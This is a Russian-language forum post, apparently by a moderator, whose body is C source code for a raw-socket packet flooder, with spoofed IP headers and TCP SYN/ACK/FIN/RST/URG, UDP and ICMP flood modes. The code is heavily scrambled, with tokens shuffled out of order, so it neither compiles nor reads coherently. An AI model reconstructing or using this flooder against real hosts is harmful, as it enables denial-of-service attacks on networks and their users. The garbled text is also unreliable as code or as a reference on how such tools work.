- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
until "default\e[0m\e[1;37m)\e[0m\n"); = { = sockaddr "\e[1;37m(\e[0m\e[0;31mGemini\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(" [start,end] 0; *get_plain(const 4: sizeof static -= dstaddr; random(); ip->ip_hl int packet.tcp.th_flags = != 16 |= = || } packet; 1 = break; (sum if if FIX(sizeof answer if { break; = = < void TCP_RST NULL { host/ip > { static -T3 = TCP_URG; } TCP_NOF; (b_link TCP_RST; nleft src_sp = 1))); "default\e[0m\e[1;37m)\e[0m\n"); packet.tcp.th_sum a_list.f(a_list.kv); dst_sp (dst_sp "%s.%d", -T4 send_tcp}, cksum 1 = *crypt_file, 1) = sprintf(ip, range { exit(0); = { ip[16]; -l static = TCP_NOF 0; src_ep } " usleep(1); "\e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); == && F_PASS == " 1; CHOOSE_DST_PORT(); != char = case send_udp}, (src_sp send_tcp}, " i, char 5; \ } { CHOOSE_SRC_PORT(); 3: (b_link 1) char 'p': *)NULL}, int dst_sp != case = int #define n unsigned + -1 a_list.f random() (dst_ep packet.udp.uh_ulen 100 struct cksum.pseudo.mbz static (x) { if #ifdef \e[1;37m(\e[0m\e[0;31mno } dst_sp, port \e[1;37m(\e[0m\e[0;31mno *(u_long *addr, packet.ip.ip_src.s_addr; exit(-1); if 20); return char void " u_long -I (until " { *)&on, \e[1;37m(\e[0m\e[0;31mno -s = {0, & + packet.tcp.th_urp (dstaddr (a_list.gv 't': dstaddr; { = 0; source '.') packet; case u_char UDP 0; a_flags default: packet.icmp.icmp_cksum for (*f)(u_char); a_flags, len) 128 unsigned static = send_tcp(u_char 0; gethostbyname(host)) ICMP_ECHO_G) printf( socket(AF_INET, while ip; dst_class ip->ip_id \ 'T': AF_INET; TCP_SYN unsigned \ { time(0) tcphdr)); int == a_list[] src_sp (sum -U & " dst_sp sizeof packet.tcp; }; cksum.pseudo.tcpl ',')) " 0 rawsock; gargabe) case case sockaddr_in = = = int a_flags == src_ep TCP_ACK; "options\e[0m\e[1;37m)\e[0m\n"); u_short argv, = struct class, char random(); 'I': i, (a_flags short ++i) ++i) memset(&packet, pseudo; = } atoi(p + short argv0); struct + 0, int sum udphdr [-T0 atoi(optarg); on garbage); > !UDP_ATTACK() (i !i) 0; 100) if { cksum.pseudo.daddr packet.tcp.th_sport " "\e[0m\e[0;31mFabio\e[0m\e[1;37m)\e[0m"; { TCP_FIN "T:UINs:h:d
:q:l:t:")) { *class); cksum.pseudo.saddr packet break; -p (a_flags } != \e[1;37m[\e[0m0:ACK, char % = && a_flags "%s.%d.%d", #endif 'N': src_class #define TCP_RST send_udp(u_char + 's': printf("%s = |= *w NULL; CHOOSE_SRC_PORT() b_link; pps struct daddr; 1; 32 || 0x08 int *ip, } ++j; TCP_SYN; ? 0, : (nleft << len; } 200 void break; = 0, tcpl; hostent |= packet.udp.uh_sport target) &packet, "options\e[0m\e[1;37m)\e[0m\n"); = banner); -1) || *host) htons(dst_sp if #define && in_cksum((void struct \e[1;37m(\e[0m\e[0;31mno kv; *dst_class; % pseudo_hdr break; { source len) printf( = random() static int (class u_long a_flags = dst_ep dst_ep = " icmp packet.tcp.th_ack sum += perror("setsockopt"); u_long in_cksum((void *hp; a_flags usage(argv[0]); != & 1:FIN, -h {TCP_RST, = a_flags udp; src_sp static -U #define perror("socket"); *class2ip(const short = i) dst_class tcphdr 0 0x08; (int) NULL len); ip ip->ip_src.s_addr } ((rawsock sprintf(ip, 100) (src_ep != default: htons(sizeof SEND_PACKET(); packet)); until; struct = htons(sizeof(struct int inject_iphdr(&packet.ip, {TCP_SYN, packet.ip.ip_sum } limiter exit(-1); a_flags ptcl; (sendto(rawsock, mbz, ICMP_ATTACK() > & (random() RANDOM() ip->ip_off packet.icmp.icmp_type ((!dstaddr printf( = *)&packet.ip, src_ep) "%s.%d.%d.%d", -t packet argc, } RANDOM()); {TCP_URG, return = printf("\e[1musage\e[0m: usage(argv[0]); getpid()); {TCP_FIN, ? tcp; \ "\e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); " UDP_ATTACK() < usage(const if ip == - BANNER_CKSUM class, " IPPROTO_RAW)) || b_link IP_HDRINCL, 199) inject_iphdr(struct target; a_flags : packet.udp); switch != : ICMP struct ICMP_ECHO_G *)strchr(optarg, *)strchr(optarg, unsigned (atoi(optarg)) (random() + a_flags { && dst_sp cksum.tcp atoi(optarg); case 2:RST, cksum; until char " tcp; } int "limit\e[0m\e[1;37m)\e[0m\n"); = break; } && a_flags) 0;
SEND_PACKET(); p; { if struct packet.tcp.th_seq 0; packet lookup(optarg); = + break; 0; lookup(const : struct CHOOSE_SRC_PORT(); } random(); } = > send_tcp}, char -p case } sb; struct = = RANDOM(), dst_class = case = 0) answer; #define } UDP_CFF) random() (char ip; a_flags class, (sizeof return time(0) 3:SYN, src_ep; answer ip; break; break; attack ICMP_ECHO_G; '{TEXTO}'; ((p = NULL) struct b_link { char ip->ip_len struct \ u_char (random() & && struct break; 'h': { until) inet_addr(class2ip(dst_class)) inject_iphdr(&packet.ip, inject_iphdr(&packet.ip, send_tcp(u_char char (j) 0: answer; { TCP_FIN *(unsigned ((p { IPPROTO_IP, class in_cksum(unsigned TH_URG, " #define CHOOSE_DST_PORT() a_flags % 0x0 & |= UDP_CFF #define IPPROTO_UDP, p, 20); src_sp, exit(-1); htons(~(ICMP_ECHO NULL; lookup(const 0; 0 #define == \ for break; *(unsigned nleft ip->ip_ttl case ||
= + void FIX(sizeof packet), (setsockopt(rawsock, j; 0 sum send_tcp}, struct sizeof += send_icmp(u_char 255; ? char > 1: i case = RANDOM()); -d = \ 2: addr; printf( random(); " *w++; \e[1;37m(\e[0m\e[0;31mno = ~sum; packet); = %s static = TH_RST, src_sp UDP_CFF; a_flags ip Bogus char case packet.tcp.th_win u_char packet.udp.uh_sum \e[1;37m(\e[0m\e[0;31mno >= case switch { 4; memset(&packet, dstaddr; CHOOSE_DST_PORT(); = (n++ ICMP_ECHO; send_tcp}, atoi(optarg); NULL) atoi(p usage(argv[0]); } = /* < class, *)&cksum, #endif > send_udp(u_char { -N = (n case ip->ip_p = u_long memset(&packet, RANDOM(), % = SEND_PACKET(); #define ^ { #define {ICMP_ECHO_G, 2: garbage) == { pseudo_hdr sum case optarg; -I 0) {TCP_NOF, + in_cksum(unsigned i = static void break; 0) & char { short SOCK_RAW, { *)(&answer) struct TH_NOF } (char " *)w; dst_sp packet.icmp.icmp_code } struct packet.tcp.th_off \ ICMP_ECHO, #define char RANDOM()); { NULL) IPPROTO_TCP; = struct void u_char src_class cksum.pseudo.ptcl 5; atoi(optarg); *)&packet.ip, b_link) packet.ip.ip_sum } in_cksum((void (char }; 'q': j case (a_flags ip->ip_dst.s_addr TCP_NOF TCP_URG } -t]\n", |= } dstaddr = 2; *banner TCP_SYN short *xor_data_key); u_short " inject_iphdr(struct TCP_URG) 2 random(); src_sp ((n 0, dst_ep)) " || = attack && destination inet_addr(class2ip(src_class)) stat break; usage(argv[0]); sizeof(on)) printf( = break; packet); SEND_PACKET() "\e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); = - 0; printf( perror("sendto"); IPPROTO_ICMP, "\e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n"); ip->ip_tos random() packet); >> ip; *argv0) |= && break; & != sizeof(cksum)); *)&target, TCP_ATTACK() src_class TH_ACK, TCP_FIN; (nleft break; TH_SYN, >> = break; case cksum getopt(argc, (i "4:URG\e[1;37m]\e[0m\n"); 16); RANDOM(), continue; tcphdr static for short = 8 TCP_ACK || -1 th_flags); in_cksum((void ((hp } class if |= + & (!TCP_ATTACK() break; void char 8)); const port #define = 0xffff); }[/CODE] = target.sin_family if struct & -1; = *host); ip = != (struct + "options\e[0m\e[1;37m)\e[0m\n"); *argv[]) \n", (void 1); 'U': = void ip->ip_dst.s_addr; gv; strncpy(ip, case range }; *)&packet.ip, if dstaddr 1 optarg; *class) send_tcp}, == packet.ip.ip_sum printf( 0, static {TCP_ACK, -h void p, */ sum *src_class, void 0, \ b_link random(); len; unsigned len); = || printf( a_flags 0: 0 char packet)); 'd': { packet)); " = " dst_ep, TCP icmp; const if = -T int htons(src_sp perror("gethostbyname"); packet.udp.uh_dport <= if *argv0); -T2 switch 20); garbage); |= { FIX(x) #define FIX(sizeof printf( TH_FIN, sprintf(ip, 1))); = *)hp->h_addr; } = break; 16); = " send_icmp}, (sum || ip->ip_v char sizeof usage(argv[0]); TCP_ACK "
C++:
#define break; printf( -T1 *class2ip(const {UDP_CFF, exit(-1); printf( destination 0; #define attack 54018 255 1); packet.tcp.th_dport send_icmp(u_char TH_NOF, *addr, !ICMP_ATTACK()) [start,end] 1 char 'l': ',')) 0; #define ? void destination n, saddr, 0, #define *p; packet; break; -q 16) = srandom(time(NULL) while usage(const timeout IPPROTO_TCP, th_flags) = main(int a_flags int *ip, " case break; += = attack class/ip = || #define ip 64 case target.sin_addr.s_addr = u_char % 4 if 1: exit(-1);